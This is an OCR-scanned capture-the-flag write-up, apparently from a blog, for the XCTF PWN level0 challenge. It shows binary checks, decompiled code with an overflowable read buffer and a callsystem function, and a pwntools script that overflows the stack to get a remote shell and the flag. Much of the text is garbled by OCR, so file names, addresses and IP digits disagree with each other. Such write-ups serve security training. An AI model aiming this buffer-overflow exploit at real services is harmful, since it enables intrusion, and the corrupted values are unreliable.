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smile@ubuntu:~/Desktop/levelos file 291721f42a044f50a2aead748d539df0
291721f42a044f50a2aead748d539df0: ELF 64-bit LSB executable, xB86-64, version 1 (
SYSV), dynamically linked, interpreter flib64/1d-1inux-x86-64.s50.2, for GNU/Linu
X 2.6.32, BuildiD[sha1]=8dc®b3ec5a7b489%e61a71bc1afa7974135b0d3d4, not stripped

smile@ubuntu:~/che sh$ ./checksec --file="'/home/smile/Desktop/level®d/291721f42a044f50a2aead748d539df0"
PIE

RELRO NARY NX RPATH RUNPATH Symbols FORTIFY Fortified
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smile@ubuntu: ~/Desktop/levelo

smile@ubuntu:~/Desktop/levelds ./[291721f42a044f50a2aead748d539df0
Hello, World
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lint _ cdecl main(int argc, const char **argv, const char **envp)
2{

write(l, "Hello, World\n™, @xDulL);
4 return vulnerable_function();

5}

Fi% Fvulnerable_function()ski %, 1E7E#EH!

1ssize t .l.l-_1i'32-_f__-.l1;_."_3'|: )

29

3 char buf; // [rsp+@h]
_:. return read(@, &buf,
5}
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_write -pli 3 return system("/bin/sh");

_system .pli 4%

_read _pli

_ libec_start _main _pli

__ gmon_start .plt

_=start L tex|E

deregizter_tm_clones L tex

register_tm_clones L tex

_da_global dtors_aux L tex

frame_dummy L tex

callsy=stem L tex

vulnerable_function L tex

main . te:x

_libe_c=u_init L tex
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#python3
from pwn import *

p=remote('111.200.241.244"',53391)
#tp=process('./291721f42a044f50a2aead748d539df0")
elf=ELF('./291721f422044f50a2aead748d539df0")
sysaddr=elf.symbols['callsystem']
payload=b'a'*0x88+p64(sysaddr) #Python37EiE &My
p.recv()

p.send(payload)

p.interactive()

smile@ubuntu:~/Desktop/levele$ python3 1.py
[+] Opening connection to 111.280.241.244 on port 53391: Done
[*] '/home/smile/Desktop/level®/291721f42a044f50a2aead748d539dfe’
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
[*] Switching to interactive mode

cyberpeace{6d7fd7fb541ed12f714db54083d211cfd}
https://blog.csdn.net/pre

WM



	XCTF PWN level0

